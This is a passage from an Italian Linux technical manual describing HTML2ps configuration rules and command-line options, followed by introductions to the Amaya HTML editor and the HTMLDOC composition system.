Tabella 66.173. Proprietà del selettore '**`@html2ps`**'.

Proprietà	Descrizione
`numberstyle: 0|1`	Permette di stabilire la numerazione delle pagine: zero richiede l'uso dei numeri arabi; uno corrisponde a numeri romani. Il valore predefinito per questa proprietà è il valore zero.
`showurl: 0|1`	Attivando questa proprietà booleana, si ottiene l'inserimento nella composizione dell'indirizzo URI corrispondente ai riferimenti ipertestuali. In situazioni normali questo non avviene.
`seq-number: 0|1`	Permette di abilitare la numerazione dei titoli '**`H1`**', '**`H2`**',... '**`H6`**'. In condizioni normali, questo non avviene.

La sottoregola '**`package`**' serve a definire la disponibilità o meno di altri programmi di cui HTML2ps potrebbe avere bisogno. Di conseguenza si tratta di assegnamenti di valori booleani, dove zero rappresenta l'assenza del programma in questione e in generale è anche il valore predefinito.

```
@html2ps {
  ...
  package {
    proprietà
    ...
  }
  ...
}
```

Tabella 66.174. Proprietà della sottoregola '**`package`**'.

Proprietà	Descrizione
`PerlMagick: 0|1`	Indica la mancanza o la disponibilità di PerlMagick.
`ImageMagick: 0|1`	Indica la mancanza o la disponibilità di ImageMagick.
`Ghostscript: 0|1`	Indica la mancanza o la disponibilità di Ghostscript.

Proprietà	Descrizione
`TeX: 0|1`	Indica la mancanza o la disponibilità di TeX.
`dvips: 0|1`	Indica la mancanza o la disponibilità di '**`dvips`**'.
`libwww-perl: 0|1`	Indica la mancanza o la disponibilità del modulo Perl Libwww-Perl.
`path:` ***percorsi_aggiuntivi***	Si tratta dell'indicazione di percorsi aggiuntivi per la ricerca degli eseguibili. Serve a garantire che i programmi utilizzati da HTML2ps siano raggiungibili per tutti gli utenti. In generale, in presenza di un sistema configurato bene, non dovrebbe essere necessaria l'indicazione di questa dichiarazione.

La sottoregola '**`paper`**' serve a definire le caratteristiche della carta. In generale si tratta solo delle dimensioni.

```
@html2ps {
  ...
  paper {
    proprietà
    ...
  }
  ...
}
```

Tabella 66.175. Proprietà della sottoregola '**`paper`**'.

Proprietà	Descrizione
`type:` ***tipo_di_carta***	La direttiva serve a definire le dimensioni della carta, attraverso l'indicazione di un nome standard; per esempio: '**`A0`**', '**`A1`**', ... '**`A10`**', '**`B0`**', '**`B1`**', ... '**`B10`**', '**`letter`**', '**`legal`**', ecc. In alternativa, si possono indicare le dimensioni precise attraverso le proprietà '**`height`**' e '**`width`**'.
`height:` ***dimensione_assoluta***	Permette di definire l'altezza del foglio.
`width:` ***dimensione_assoluta***	Permette di definire la larghezza del foglio.

La sottoregola '**`option`**' serve a definire l'utilizzo di alcune opzioni, a cui si può accedere anche attraverso la riga di comando. Vengono descritte prima le dichiarazioni da indicare nel file di configurazione e poi le opzioni corrispondenti della riga di comando.

```
@html2ps {
  ...
  option {
    proprietà
    ...
  }
  ...
}
```

Tabella 66.176. Proprietà della sottoregola '**option**' e opzioni corrispondenti della riga di comando.

Proprietà e opzione della riga di comando	Descrizione

`twoup: 0|1`
 	
`-2`
 	
`--twoup`
	Se attivato, fa in modo di ottenere un testo organizzato su due colonne verticali.

`toc: {f|h|t}[b]`
 	
`-C {f|h|t}[b]`
	Fa in modo che venga generato un indice generale, in base alle opzioni specificate da una o più lettere: la lettera '**b**' richiede che l'indice generale sia collocato all'inizio; la lettera '**f**' richiede che l'indice generale sia generato a partire dai riferimenti contenuti nel documento; la lettera '**h**' richiede che l'indice generale sia generato a partire dai titoli definiti dagli elementi HTML da '**H1**' a '**H6**'; la lettera '**t**' richiede che l'indice generale sia generato a partire da elementi '**LINK**' contenenti l'attributo '**REV=TOC**'.

`DSC: 0|1`
 	
`-D`
 	
`--DSC`
	Se attivato, fa in modo di generare un file PostScript aderente alle specifiche DSC. In generale, per ottenere un file PostScript completo, è necessario attivare questa opzione.

`encoding:` ***codifica*** `-e` ***codifica*** `--encoding` ***codifica***	Permette di definire la codifica in cui è realizzato il file HTML. Il valore predefinito è '**ISO-8859-1**', ma sono poche altre le possibilità (si deve consultare la pagina di manuale).

`hyphenate: 0|1`
 	
`-H`
 	
`--hyphenate`
	Se attivato, fa in modo che il testo possa essere separato in sillabe, per facilitare l'impaginazione.

`language:` ***linguaggio*** `-l` ***linguaggio*** `--language` ***linguaggio***	Permette di indicare un linguaggio diverso da quello che può essere stato dichiarato nell'elemento '**BODY**' con l'attributo '**LANG**' di un documento HTML. La stringa che definisce il linguaggio va scelta in base a quanto già consentito dall'HTML (tabella 14.4).

Proprietà e opzione della riga di comando	Descrizione

`landscape: 0|1`
`-L`
`--landscape`
	e attivato, genera pagine orientate in modo orizzontale.

`number: 0|1`
`-n`
`--number`
	e attivato, fa in modo di aggiungere i numeri di pagina.

`startno:` ***n*** `-N` ***n*** `--startno` ***n***	Specifica il numero iniziale delle pagine. Il valore predefinito è uno.

`xref: 0|1`
`-R`
`--xref`
	Se attivato, fa in modo di aggiungere dei riferimenti visivi nel testo, in corrispondenza di quelli ipertestuali contenuti nel documento HTML.

`scaledoc:` ***scala_percentuale*** `-s` ***scala_percentuale*** `--scaledoc` ***scala_percentuale***	Riduce o amplia la scala del documento: il valore unitario rappresenta la situazione normale, di una scala pari al 100 %; valori superiori indicano un ingrandimento, mentre valori inferiori indicano una riduzione (si usa il punto per separare la parte intera dalle cifre decimali).

`web: {a|b|l|r|s}[p|L|`***n***`]`
`-W {a|b|l|r|s}[p|L|`***n***`]`
`-web {a|b|l|r|s}[p|L|`***n***`]`
	Fa in modo che vengano utilizzati più file HTML che si ritiene facciano parte dello stesso documento. Il modo in cui vengono presi in considerazione questi file dipende dalla stringa composta nel modo mostrato dallo schema sintattico.
	Si utilizza la lettera '**`a`**' per seguire tutti i riferimenti ipertestuali; la lettera '**`b`**' per seguire soltanto i riferimenti ipertestuali che riguardano la stessa directory del file iniziale; la lettera '**`l`**' per seguire soltanto i riferimenti ipertestuali che contengono l'attributo '**`REL=NEXT`**' all'interno dell'elemento '**`LINK`**'; la lettera '**`r`**' per seguire soltanto i riferimenti ipertestuali relativi; la lettera '**`s`**' per seguire solo i riferimenti allo stesso nodo del documento di partenza.
	Inoltre, la lettera '**`p`**' fa in modo che sia chiesta conferma per ogni file HTML da aggiungere (ciò avviene in ogni caso quando si superano i 50 file); la lettera '**`L`**' serve a riordinare i documenti in base alla struttura gerarchica; un numero intero ('***n***') un numero indica il livello massimo di ricorsione, tenendo conto che il valore predefinito è di quattro livelli.

La sottoregola '**`margin`**' permette di definire esplicitamente i margini della pagina.

```
@html2ps {
  ...
  margin {
    proprietà
    ...
  }
  ...
}
```

Questa sottoregola è superata e viene sostituita dalla configurazione nel file di stile CSS, utilizzando la regola '**@page**', introdotta dalle specifiche CSS2.

Tabella 66.177. Proprietà della sottoregola superata '**margin**'.

Proprietà	Descrizione
`left` ***margine_sinistro*** `right` ***margine_destro***	Indicano i margini sinistro e destro rispettivamente. Il valore predefinito è '**2.5cm**', pari a 2,5 cm.
`top` ***margine_superiore*** `bottom` ***margine_inferiore***	Indicano i margini superiore e inferiore rispettivamente. Il valore predefinito è '**3cm**', pari a 3 cm.
`middle` ***distanza_tra_colonne***	Indica la distanza orizzontale tra le colonne, quando si stampano due colonne per pagina. Il valore predefinito è '**2cm**', pari a 2 cm.

La sottoregola '**xref**' permette di definire esplicitamente il modo in cui vengono indicati i riferimenti nel testo, quando questa funzionalità è stata abilitata.

```
@html2ps {
  ...
  xref {
    proprietà
    ...
  }
  ...
}
```

Tabella 66.178. Proprietà della sottoregola '**`xref`**'.

Proprietà	Descrizione
`text:` ***modello***	Permette di definire il modello da utilizzare, tenendo conto che il simbolo '**`$N`**' viene rimpiazzato con il numero della pagina. Il modello predefinito è '**`[p $N]`**'.
`passes:` ***n***	Permette di definire il numero di passaggi necessario per determinare in modo corretto i riferimenti incrociati. Il valore predefinito è il valore uno, ma l'inserzione del testo corrispondente al modello potrebbe cambiare la sequenza delle pagine, per cui si potrebbe rendere necessario un numero maggiore di passaggi.

La sottoregola '**`quote`**' permette di definire esplicitamente l'uso delle virgolette più appropriate in base al linguaggio. Queste virgolette vengono inserite nel testo in corrispondenza degli elementi '**`Q`**'. In generale, i valori predefiniti per la lingua italiana sono già corretti. Viene mostrato solo un esempio per comprendere intuitivamente come si potrebbe adoperare questa sottoregola:

```
quote {
  it {
    open: "«";
    close: "»";
    open2: "``";
    close2: "''";
  }
}
```

Si intende dall'esempio che sono disponibili solo due livelli di virgolette.

La sottoregola '**`toc`**' permette di definire alcune caratteristiche relative all'indice generale, quando la sua realizzazione è stata richiesta espressamente. In particolare si può utilizzare la proprietà '**`level`**' alla quale si assegna un numero, che sta a indicare i livelli da prendere in considerazione. Il valore predefinito è sei, che produce una voce per ogni tipo di titolo '**`H`*n***' (da '**`H1`**' a '**`H6`**').

La sottoregola '**`hyphenation`**' permette di definire la collocazione del file TeX contenente i modelli per la separazione in sillabe. La cosa si fa distinguendo tra diversi linguaggi. L'esempio seguente dovrebbe essere sufficiente a intendere intuitivamente la cosa:

```
hyphenation {
  it {
    file: "/usr/share/texmf/tex/generic/hyphen/ithyph.tex";
  }
  en {
    file: "/usr/share/texmf/tex/generic/hyphen/ushyph1.tex";
  }
}
```

Le sottoregole '**`header`**' e '**`footer`**' permettono di definire l'intestazione e il fondo pagina, dove di solito si collocano alcune informazioni ricorrenti assieme al numero della pagina. Le proprietà di queste sottoregole sono praticamente le stesse; qui vengono elencate solo alcune

di queste proprietà nella tabella 66.182. La tabella 66.181 elenca alcuni simboli che possono essere utilizzati per definire i modelli delle intestazioni e dei fondo pagina.

Tabella 66.181. Simboli utilizzabili nelle intestazioni e nei fondo pagina.

Simbolo	Corrispondenza
`$T`	Titolo del documento.
`$A`	Autore, come specificato in '**`<META NAME="Author" CONTENT="...">`**'.
`$U`	URI del documento.
`$N`	Numero di pagina.
`$H`	Titolo attuale ('**`H1`**'...'**`H3`**').
`$D`	Data e orario attuale.
`\$`	Dollaro.

Tabella 66.182. Alcune proprietà utilizzabili nell'intestazione e nel fondo delle pagine.

Proprietà	Contenuto
`left`	Intestazione allineata a sinistra.
`center`	Intestazione al centro.
`right`	Intestazione allineata a destra.
`odd-left`	Intestazione delle pagine dispari allineata a sinistra.
`odd-center`	Intestazione delle pagine dispari al centro.
`odd-right`	Intestazione delle pagine dispari allineata a destra.
`even-left`	Intestazione delle pagine pari allineata a sinistra.
`even-center`	Intestazione delle pagine pari al centro.
`even-right`	Intestazione delle pagine pari allineata a destra.
`font-family`	Tipo di carattere da usare (predefinito Helvetica).
`font-size`	Dimensione del carattere (predefinito 8 punti).
`font-style`	Forma del carattere (predefinita la forma normale).
`font-weight`	Spessore del carattere (predefinito lo spessore normale).

66.9.1.2 Configurazione in cascata

La configurazione di HTML2ps segue la logica dei fogli di stile CSS, anche per ciò che riguarda la sua definizione in cascata. In generale: il file '`/etc/html2psrc`' contiene le indicazioni essenziali; il file '`~/.html2psrc`' contiene la configurazione personalizzata; l'opzione '**`-f`**' consente di aggiungere altra configurazione specifica; l'opzione '**`-S`**' consente di aggiungere una stringa ulteriore allo stile.

Quando si utilizza l'opzione '**`-f`**', se si vuole evitare di eliminare la configurazione standard dei file '`/etc/html2psrc`' e '`~/.html2psrc`', si deve iniziare con i due punti ('`:`'), come si vede nell'esempio seguente:

`$` **`html2ps -f :locale manuale.html > manuale.ps`** [*Invio*]

Si possono anche sommare assieme più configurazioni o stili CSS locali, come si vede nell'esempio seguente, dove si utilizzano i file '`locale`', '`A4`' e '`numerato`':

`$` **`html2ps -f :locale:A4:numerato manuale.html > manuale.ps`** [*Invio*]

L'opzione '**`-S`**' serve solo per aggiungere una regola al volo, indicandola direttamente nella riga di comando, come si vede nell'esempio seguente:

`$` **`html2ps -f :locale -S "H1 { color:  blue }" manuale.html > manuale.ps`** [*Invio*]

66.9.2 Avvio di HTML2ps

HTML2ps si utilizza attraverso l'eseguibile '**`html2ps`**', con la sintassi seguente:

`html2ps` ***opzioni*** [***file_html***]

Il file da convertire può essere indicato nella riga di comando, dove in tal caso può trattarsi anche di un URI, oppure può essere fornito attraverso lo standard input.

Quasi tutte le opzioni di questo programma sono richiamabili anche tramite una proprietà corrispondente nella sottoregola '**`option`**', come è già stato descritto. Qui vengono riepilogate le opzioni più importanti nella tabella 66.183. In particolare, si può osservare che si può indicare il nome del file da generare attraverso l'opzione '**`-o`**', oppure '**`--output`**', altrimenti il risultato della conversione viene emesso attraverso lo standard output.

Tabella 66.183. Riepilogo delle opzioni più comuni.

Opzione	Descrizione
`-2` `--twoup`	Due colonne verticali.
`-D` `--DSC`	Genera un file PostScript DSC (standard).

Opzione	Descrizione
`-e` `--encoding`	Stabilisce la codifica originale.
`-H` `--hyphenate`	Abilita la separazione in sillabe.
`-L` `--landscape`	Orientamento orizzontale.
`-n` `--number`	Aggiunge i numeri alle pagine.
`-o` `--output`	Specifica il file PostScript da generare.
`-R` `--xref`	Mostra gli URI dei riferimenti ipertestuali.
`-s` `--scaledoc`	Cambia la scala del documento.
`-W` `--web`	Definisce come gestire più file HTML assieme.
`-f` `--rcfile`	Specifica i file di configurazione aggiuntivi o alternativi.
`-S` `--style`	Specifica una regola aggiuntiva al volo.

Segue la descrizione di alcuni esempi.

- `$ ` **`html2ps -o documento.ps documento.html`** [*Invio*]

  Converte il file '`documento.html`' nel file '`documento.ps`'.

- `$ ` **`html2ps -2 -o documento.ps documento.html`** [*Invio*]

  Converte il file '`documento.html`' nel file '`documento.ps`', che risulta organizzato in due colonne verticali.

- `$ ` **`html2ps -R -o documento.ps documento.html`** [*Invio*]

  Converte il file '`documento.html`' nel file '`documento.ps`', che contiene dei riferimenti incrociati visibili.

- $ **html2ps -2 -s 0.5 -o documento.ps documento.html** [*Invio*]

  Converte il file '`documento.html`' nel file '`documento.ps`', che risulta organizzato in due colonne verticali, con la dimensione del carattere ridotta alla metà.

- $ **html2ps -W b -o XFree86.ps XFree86-Video-Timings-HOWTO.html** [*Invio*]

  Converte i file HTML che iniziano da '`XFree86-Video-Timings-HOWTO.html`' in un solo file PostScript, denominato '`XFree86.ps`'. In particolare viene richiesto di seguire solo i riferimenti ipertestuali rivolti alla stessa directory di partenza.

66.9.3 Particolarità nell'HTML

HTML2ps interpreta alcuni «comandi» speciali all'interno del file HTML. Si tratta di:

- salto pagina incondizionato, il quale si ottiene con uno dei comandi seguenti:

```
<HR class=PAGE-BREAK>
```

```
<?page-break>
```

```
<!--NewPage-->
```

- esclusione di parte del testo dalla composizione stampata, attraverso un elemento '**`DIV`**' speciale:

```
<DIV class=NOPRINT>
    ...
    <!-- Testo che viene ignorato da HTML2ps -->
    ...
</DIV>
```

66.9.4 Programma frontale per semplificare l'utilizzo di HTML2ps

Assieme a HTML2ps si dovrebbe trovare un programma aggiuntivo che facilita il suo utilizzo attraverso un pannello grafico. Si tratta dell'eseguibile '**`xhtml2ps`**', che si vede in particolare nella figura 66.188. Il suo utilizzo dovrebbe essere intuitivo, dal momento che si rifà alle opzioni delle riga di comando.

Figura 66.188. Programma frontale per il controllo di HTML2ps.

66.10 Introduzione a Amaya

Amaya[6] è un sistema visuale integrato di navigazione e composizione di documenti HTML e XHTML. È interessante notare che Amaya è anche in grado di riconoscere e utilizzare i fogli di stile CSS.

Amaya è disponibile per vari sistemi operativi. Probabilmente, questo fatto ha spinto gli sviluppatori del programma a costruire per lui un mondo a parte. In particolare, la tastiera viene gestita da Amaya in modo indipendente dal sistema sottostante.

L'avvio di Amaya è molto semplice, attraverso l'eseguibile '**amaya**', dal momento che gli argomenti sono tutti facoltativi:

```
amaya [-display schermo] [file | uri]
```

La figura 66.189 mostra come si presenta all'avvio, quando non si indica alcun file.

Figura 66.189. Amaya.

Amaya è un sistema di composizione HTML e XHTML, molto sofisticato e molto serio nel suo approccio a questi formati. Qui si introduce semplicemente il suo utilizzo, tenendo conto che la documentazione originale, accessibile anche dal menù `Help`, è buona.

66.10.1 Navigazione e composizione

Amaya è sia un navigatore HTTP, sia un sistema di composizione in HTML. Questo fatto ha delle implicazioni nel suo utilizzo che a prima vista possono sembrare un po' strane, benché siano assolutamente logiche. Per prima cosa è importante sapere che è possibile controllare la modalità di accesso al documento, attraverso la voce `Editor Mode` del menù `Edit`. Attivandola si abilita la modifica del documento; disattivandola si richiede espressamente di accedere in sola lettura.

Quando Amaya accede in sola lettura, si comporta come un navigatore normale; quando è consentita la modifica, il documento può essere alterato e salvato successivamente.

Quando si accede a un riferimento ipertestuale, come si fa di solito con i navigatori, il documento che si ottiene può occupare la stessa finestra di partenza, oppure può essere messo in un'altra. La scelta è abbastanza logica: se il documento di partenza non è stato alterato, si utilizza la stessa finestra iniziale.

Per selezionare un riferimento ipertestuale, in condizioni normali serve un clic doppio con il primo tasto del mouse, perché con uno solo si posiziona semplicemente il cursore del testo. È possibile modificare la configurazione per fare in modo che basti un solo clic, ma in generale questa non è una buona idea, dal momento che diventerebbe difficile portare il cursore sopra un riferimento ipertestuale.

66.10.1.1 Modifica del documento

La modifica di un documento HTML può avvenire in modo visuale, diretto, attraverso la finestra che si usa anche per la sua lettura. La vera «forza» di Amaya sta nella possibilità di accedere al documento in una forma diversa, attraverso la sua struttura, in modo da avere una visione più chiara di ciò che si sta facendo.

Dal menù `Views` si possono selezionare le voci `Show structure` e `Show alternate`. La prima apre una finestra separata contenente la struttura, come si vede nell'esempio di figura 66.190, la seconda mostra il documento in un modo alternativo, precisamente in forma testuale senza grafica. La modifica in una di queste finestre si ripercuote simultaneamente su tutte le altre.

Figura 66.190. La visione della struttura.

```
File  Edit  Structure  Types  Attributes

HTML
HEAD
    TITLE
        Welcome to Amaya
    META name=GENERATOR content=amaya V2.4
    META http-equiv=Content-Type content=text/html; charset=ISO-8859-1
BODY bgcolor=white lang=en text=black
    H1 style=font-size : 30pt; color : #FF0080
        Welcome to Amaya
    H2 style=text-align : right; color : #BEBEBE
        Release 2.4
    P
        STRONG
            Amaya
        is a Web client that acts both as a browser and as an authoring tool. It has been c
    P
    DIV
        H3
            Main Features
        UL
            LI
                With Amaya, you can manipulate rich Web pages containing forms, tables
            LI
                Browsing and authoring are integrated seamlessly. You can browse and e
            LI
                A  Source view allows you to see the current markup provided by Amaya.
            LI
                Amaya supports the editing and publishing of CSS style sheets. In additior
            LI
                Amaya provides a multi-level multi-document Undo/Redo.
    DIV
        H3
            Online Manual
Text \ P \ BODY \ HTML
```

Dallo stesso menù è possibile selezionare la voce `Show source` per accedere a una finestra contenente il sorgente del documento. Anche se è possibile modificare il testo direttamente nel sorgente, le modifiche non si applicano istantaneamente alle altre finestre, a meno di utilizzare la voce `Synchronize` dal menù `File`. Tuttavia, lo svantaggio nell'accedere direttamente al sorgente sta nel fatto che Amaya ha difficoltà a correggere gli errori nell'uso dell'HTML da parte di un autore inesperto, mentre nelle altre finestre questo non può avvenire, perché la struttura è sotto il pieno controllo del programma.

È interessante notare che alla base di ogni finestra utile per accedere alla modifica del documento appare l'indicazione sintetica della struttura del punto in cui si trova il cursore. Per esempio, la sequenza

```
Text \ P \ BODY \ HTML
```

indica che si tratta di testo contenuto in un elemento '**P**', che è contenuto nell'elemento '**BODY**', che a sua volta è parte dell'elemento '**HTML**':

```
<HTML>
    <BODY>
        <P>... <!-- Testo --> </P>
    </BODY>
</HTML>
```

Oltre alle specificità di Amaya, il suo funzionamento è abbastanza intuitivo. Si comprende che per poter essere utilizzato in modo conveniente, è più importante conoscere bene le potenzialità dell'HTML e dei fogli di stile CSS, prima di cercare di approfondire l'uso di questo programma.

66.10.2 Configurazione

La maggior parte della configurazione di Amaya è accessibile attraverso una delle voci del sottomenù *Preferences* del menù *Special*.

Nella directory personale dell'utente che utilizza il programma, Amaya crea la sottodirectory '`.amaya/`', in cui inserisce il file di configurazione generale '`thot.rc`', la sottodirectory per la sua memoria cache, '`libwww-cache/`' e i propri file temporanei. A parte la collocazione del file '`thot.rc`', il resto può essere spostato altrove attraverso la configurazione.

66.10.3 Aggregazione di un documento composto

Amaya è in grado di aggregare un documento composto da più «pagine» HTML in un solo file, attraverso la voce *Make book* del menù *Special*.

Per ottenere questo risultato si parte da un file HTML composto da un titolo contenuto in un elemento '**H1**', seguito da testo e da una serie di riferimenti. Questi riferimenti (l'elemento '**A**' con l'attributo '**HREF**') sono organizzati solitamente in un elenco puntato o numerato, ma a parte questo, tali riferimenti devono contenere anche l'attributo '**REL**', a cui viene assegnato il valore '**chapter**' o '**subdocument**'. L'esempio seguente rappresenta bene questa struttura di partenza:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
                      "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
  <title>Using Amaya</title>
  <style type="text/css">BODY { background-color : #FFFFFF }</style>
</head>
<body lang="en">
<!-- ... -->
<h1 style="text-align : center">Using Amaya</h1>
<!-- ... -->
<p>Each following section gives a short description of how to use a
```

```
specific Amaya functionality.</p>
<ul>
  <li><a rel="Chapter" href="Browsing.html#Browsing">Browsing with
  Amaya</a></li>
  <li><a rel="Chapter" href="Selecting.html#Selecting">Selecting</a></li>
  <li><a rel="Chapter" href="Searching.html#Searching">Searching and
    replacing text</a></li>
  <li><a rel="Chapter" href="Views.html#Views">Displaying Views</a></li>
  <li><a rel="Chapter" href="Creating.html#Creating">Creating new
  elements</a></li>
<!-- ... -->
</ul>
<!-- ... -->
<p><a name="There">There is also a brief introduction </a> which
explains some of the different types that can be used in Amaya such as
headings, lists, and quotations, and how to use them.</p>
<ul>
  <li><a href="HTML-elements/infoTypes.html" rel="Chapter">Information
    types in HTML</a></li>
  <li><a href="HTML-elements/structure.html" rel="Chapter">HTML Document
    Structure</a></li>
  <li><a href="HTML-elements/headings.html" rel="Chapter">Headers</a></li>
<!-- ... -->
</ul>
<hr>
<!-- ... -->
</body>
</html>
```

In particolare, l'elemento

```
<a href="HTML-elements/structure.html" rel="Chapter">HTML Document Structure</a>
```

implica l'inclusione del corpo del file '`HTML-elements/structure.html`' in quel punto, al posto del suo riferimento.

Per la precisione, si possono distinguere questi casi: quando il riferimento è fatto a un documento completo, come appena visto, si ottiene l'inclusione del contenuto del suo elemento '**`BODY`**'; se invece il riferimento è fatto a un'etichetta di un certo elemento, viene incorporato solo il contenuto di quell'elemento.

Nella realizzazione di un documento articolato in più file differenti, converrebbe avere l'accortezza di delimitare la parte sostanziale del testo di ogni file HTML in un elemento '**`DIV`**' provvisto di etichetta a cui poter fare riferimento attraverso l'indice di partenza (l'attributo '**`ID`**'). In questo modo si potrebbero escludere dall'aggregazione una serie di informazioni che servono solo per la navigazione (pulsanti per avanzare, indietreggiare o raggiungere l'indice).

Un indice di partenza può anche fare riferimento a file che contengono a loro volta dei sottoindici, realizzando quindi una struttura ad albero abbastanza articolata. Amaya continua ad aggregare i file finché trova elementi '**`A`**' contenenti l'attributo '**`REL`**' a cui sono assegnate le parole chiave già indicate.

66.11 HTMLDOC

HTMLDOC[7] è un sistema di composizione basato su HTML. In pratica, si parte da uno o più file HTML e si ottiene una composizione in PostScript, PDF e HTML. I file HTML di partenza devono avere una struttura ragionevolmente semplice, dove il testo sia strutturato in capitoli, inizianti con un'intestazione '**H1**', suddivisi nel modo consueto, attraverso le intestazioni di livello inferiore ('**H2**', '**H3**',... '**H7**'). In questo modo, HTMLDOC è in grado di generare automaticamente un indice generale e diventa utile tutto il sistema anche quando l'obiettivo è la generazione di una composizione finale nello stesso formato HTML.

HTMLDOC è disponibile sia su piattaforme Unix, sia su sistemi MS-Windows. In particolare, può funzionare in modo interattivo, attraverso l'interfaccia grafica, oppure in modo non interattivo utilizzando semplicemente opzioni della riga di comando.

66.11.1 Sorgente HTML

Il sorgente di un documento HTMLDOC può essere contenuto in un file singolo, oppure in più file HTML distinti. La prima cosa che dovrebbe apparire nel corpo del file HTML è un'intestazione di tipo '**H1**'.

In questi file HTML non sono ammissibili le inserzioni di oggetti, a parte le immagini nel modo consueto, attraverso l'elemento '**IMG**'; non si possono usare le cornici (*frame*); vengono ignorati gli script e le applet. È possibile selezionare soltanto i tipi di carattere standard, corrispondenti a: Helvetica, Times e Courier. Dal momento che HTMLDOC è disponibile anche su piattaforma MS-Windows, il carattere Arial viene convertito automaticamente in Helvetica. Non sono gestiti i fogli di stile e le tabelle sono riconosciute solo al livello di HTML 3.2.

La documentazione di HTMLDOC è scritta in questo modo, per cui può essere osservata la tecnica utilizzata e il risultato che si ottiene. In generale, dopo l'elemento '**HEAD**', all'interno dell'elemento '**BODY**' si comincia subito con un'intestazione '**H1**'. L'esempio seguente è un estratto del file '`intro.html`', che è il primo del gruppo di file che compongono la documentazione di HTMLDOC:

```
<HTML>
<HEAD>
   <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
   <META NAME="author" CONTENT="Michael R. Sweet">
   <META NAME="copyright"
CONTENT="Copyright 1997-1999, See the GNU General Public License for Details.">
   <META NAME="Author" CONTENT="Michael R. Sweet, Easy Software Products">
   <TITLE>HTMLDOC 1.7 User's Guide</TITLE>
</HEAD>
<BODY>

<DIV ALIGN=right>
<H1>
Introduction</H1></DIV>

<H2>
About This Software</H2>
This document describes how to use the <I>HTMLDOC</I> software, version
1.7. <I>HTMLDOC</I> is a HTML document processing program that generates
indexed HTML, Adobe&reg; PostScript<SUP>TM</SUP>, and Adobe Portable Document
```

```
Format (PDF 1.2) files suitable for printing or online viewing.

<P>No restrictions are placed upon the output produced by <I>HTMLDOC</I>.

<H2>History</H2>

Like many programs <I>HTMLDOC</I> was developed in response to a need
my company had for generating high-quality documentation in printed and
...
...

<H2>Why Just HTML?</H2>

Some people have asked why this program only deals with HTML input files
and is not able to read any Standard Generalized Markup Language (SGML)
file. The reasons are numerous but basically boil down to:
...
...
</BODY>
</HTML>
```

Eventualmente è possibile convertire un file HTML singolo che non sia conforme a questa struttura, utilizzando un'opzione apposita, '**`--webpage`**', con la quale non si ottiene più l'indice generale, ma soprattutto non è possibile aggregare più file HTML assieme in un documento finale unico.

HTMLDOC è progettato per gestire documenti di dimensioni molto grandi; tuttavia esistono dei limiti, fissati nel file '`config.h`', che appartiene ai sorgenti del programma. Eventualmente si possono estendere tali limiti modificando questo file e ricompilando successivamente i sorgenti.

66.11.2 Funzionamento

HTMLDOC si compone dell'eseguibile '**`htmldoc`**', che può essere avviato senza argomenti, per ottenere un funzionamento interattivo:

htmldoc [*opzioni file_html*...]

È prevista la presenza di un file di configurazione personale, dei singoli utenti. Si tratta del file '`~/.htmldocrc`'. Questo file viene creato la prima volta dall'eseguibile '**`htmldoc`**' e potrebbe essere utile ritoccare la direttiva di dichiarazione del programma usato per modificare i file HTML sorgenti:

```
#HTMLDOCRC 1.7
EDITOR=amaya %s
```

In questo caso, si fa in modo di utilizzare Amaya per la modifica del sorgente HTML, quando questo tipo di programma viene richiamato da HTMLDOC.

Purtroppo non è disponibile una documentazione sufficiente sulle direttive di questo file di configurazione.

Nel seguito viene mostrato il funzionamento interattivo di HTMLDOC, abbinando anche la descrizione delle opzioni che possono servire per ottenere lo stesso risultato senza interazione con il programma. Intanto, nella figura 66.197 si può osservare come appare inizialmente, dopo l'avvio con il comando seguente:

$ **htmldoc** [*Invio*]

Figura 66.197. Aspetto iniziale di HTMLDOC, quando viene avviato senza argomenti.

Nella parte bassa del pannellino grafico, appaiono alcuni pulsanti grafici, che fanno riferimento alla possibilità di creare e salvare un file contenente tutte le informazioni sulla composizione che si vuole generare. Questo file può essere inteso come la configurazione del libro che si vuole comporre.

- Il pulsante [NEW] serve a eliminare il lavoro in corso, per ricominciare con un altro nuovo.
- Il pulsante [OPEN] permettere di accedere al file system per selezionare un file contenente le informazioni su una composizione già predisposta in precedenza.
- I pulsanti [SAVE] e [SAVE AS] consentono di salvare l'impostazione attuale, eventualmente dando un nome nuovo alla cosa.
- Il pulsante [GENERATE] avvia la composizione in base alle informazioni indicate, generan-

do uno o più file PostScript, PDF o HTML, a seconda di quanto specificato a questo proposito.

- Il pulsante CLOSE termina il funzionamento di HTMLDOC.

La parte centrale del pannello grafico di HTMLDOC cambia in funzione del lembo superiore selezionato.

66.11.3 Definizione dei file sorgenti

La prima fase per arrivare alla composizione è quella della selezione dei file HTML che compongono i sorgenti. Ciò si fa dalla finestra che si ottiene selezionando l'etichetta *Input*, che corrisponde alla situazione in cui si presenta HTMLDOC all'avvio.

In alto, si può osservare la presenza di due pulsanti di selezione, dove si può specificare il tipo di sorgente che si utilizza. La voce BOOK indica l'intenzione di utilizzare uno o più file HTML per generare un documento unico, in forma di libro, mentre la voce WEB PAGE, corrispondente all'opzione '**`--webpage`**', specifica che si tratta di un solo file HTML che non ha la struttura richiesta per realizzare un libro.

Il pulsante grafico laterale ADD FILE consente di accedere al file system per selezionare i file HTML che compongono i sorgenti del documento che si vuole comporre. Nella figura 66.198 appaiono selezionati i file '`uno.html`', '`due.html`' e '`tre.html`'.

Figura 66.198. Sono stati selezionati tre file.

Sul lato destro si possono osservare anche altri pulsanti grafici, che si abilitano solo quando si seleziona uno o più nomi nell'elenco di quelli che compongono l'insieme dei sorgenti del documento: EDIT FILE permette di avviare automaticamente il programma per la modifica dei file HTML; DELETE FILE elimina i nomi evidenziati dall'elenco, ma senza cancellarli dal file system; MOVE UP e MOVE DOWN consentono di spostare il nome selezionato in alto o in basso, cambiando l'ordine.

Per completare l'estetica della composizione, è possibile specificare un'immagine da usare come logo e un'altra immagine da utilizzare nella copertina (ammesso che sia stata ablitata la sua generazione). Nel primo caso si può usare l'opzione '**`--logoimage`** ***file_immagine***'; nel secondo l'opzione '**`--titlefile`** ***file_immagine***'.

66.11.4 Composizione

